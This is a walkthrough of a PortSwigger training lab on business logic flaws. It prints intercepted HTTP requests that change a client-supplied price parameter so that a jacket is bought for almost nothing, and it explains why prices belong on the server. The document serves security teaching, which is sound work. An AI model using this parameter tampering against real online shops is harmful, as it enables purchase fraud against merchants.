Excessive Trust in Client-Side Controls


A walkthrough of the first PortSwigger business logic lab. We intercept a product purchase request and manipulate the price parameter directly, demonstrating why applications should never trust client-supplied data for anything security-relevant.

#Description

This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".

You can log in to your own account using the following credentials: wiener:peter

#Background

This is a really basic beginner portswigger lab, from the description you can tell that the flaw here is how information is presented client side vs server side. While the exploit or vulnerability class is really basic in regards to web testing, this category is really common. Especially when we start discussing SPAs and JavaScript based applications, that handle a lot of information client side vs standard Server Side Rendering apps.

#Quick Look at the App

Pasted image 20260530170231.png

#Observing the Request Process

With any web application, we need to first deduce how things work, the expectations of the app and what is going on under the hood. As we need to attempt to purchase the Leather Jacket, let's just go ahead and add that to our cart and see what requests go through.

#Request

If we look at the request we can already see where the issue lives. On post we are providing a number of parameters that influence how the application takes details from the user. productId is the leather jacket, quantity is how many we are adding to our basket and price is how much we are paying for it.

In software engineering and general web development, we should only be providing necessary details to the client side requests, if a product has a price that should be something stored and referenced server side. The reason for this is that we need to know and respect that clients cannot be trusted, and I am not saying don't trust your users, but if you put something client side, that information is free to manipulate. Whether it is because of what we will do, where we will intercept and change that information, but imagine if this app contained Personally Identifiable Information (PII) or other sensitive data. Should we be giving the client this? When it can be easily read, manipulated or removed? Of course not, and this is a business logic issue that slips through time and time again while penetration testing.

http
POST /cart HTTP/2
Host: 0af3005c04a8157c826f065800f900b7.web-security-academy.net
Cookie: session=sMPJ35OsyKSNuvNBU7kgAHQwajNbfOMQ
Content-Length: 49
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

productId=1&redir=PRODUCT&quantity=1&price=133700

#Response

http
HTTP/2 302 Found
Location: /product?productId=1
X-Frame-Options: SAMEORIGIN
Content-Length: 0

#Getting a cheap jacket

#Manipulating the client side request

I have already discussed how I expect that this app is vulnerable, that the use of placing the item details in a client side request indicates that it is likely possible to manipulate it, but let's actually put this into practice.

I am using Burp Suite for this, but if you have Zap or Caido, you can likely do the exact same steps. I will first remove the item from the basket, and then I will send the request into repeater, to see if we can manipulate the content.

#Request

http
POST /cart HTTP/2
Host: 0af3005c04a8157c826f065800f900b7.web-security-academy.net
Cookie: session=sMPJ35OsyKSNuvNBU7kgAHQwajNbfOMQ
Content-Length: 44
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

productId=1&redir=PRODUCT&quantity=1&price=2

#Response

http
HTTP/2 302 Found
Location: /product?productId=1
X-Frame-Options: SAMEORIGIN
Content-Length: 0

#Purchasing a cheap jacket

Now that we have sent and it has seemingly accepted the cheap price I have set, let's just confirm it by going back to our basket and going through the purchase. I will include the purchase request/response, below, not because we are changing it, but so that I can show the expected transaction.

#My Basket

Pasted image 20260530172301.png

#Request

http
POST /cart/checkout HTTP/2
Host: 0af3005c04a8157c826f065800f900b7.web-security-academy.net
Cookie: session=uyzVJtXmKq2rQ5plmta30iPmadt5juw3
Content-Length: 37
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af3005c04a8157c826f065800f900b7.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=TR5i6n7qKdorO49xzmAU8zoJH0CI4sgf

#Response

http
HTTP/2 303 See Other
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0

#Success

Pasted image 20260530172428.png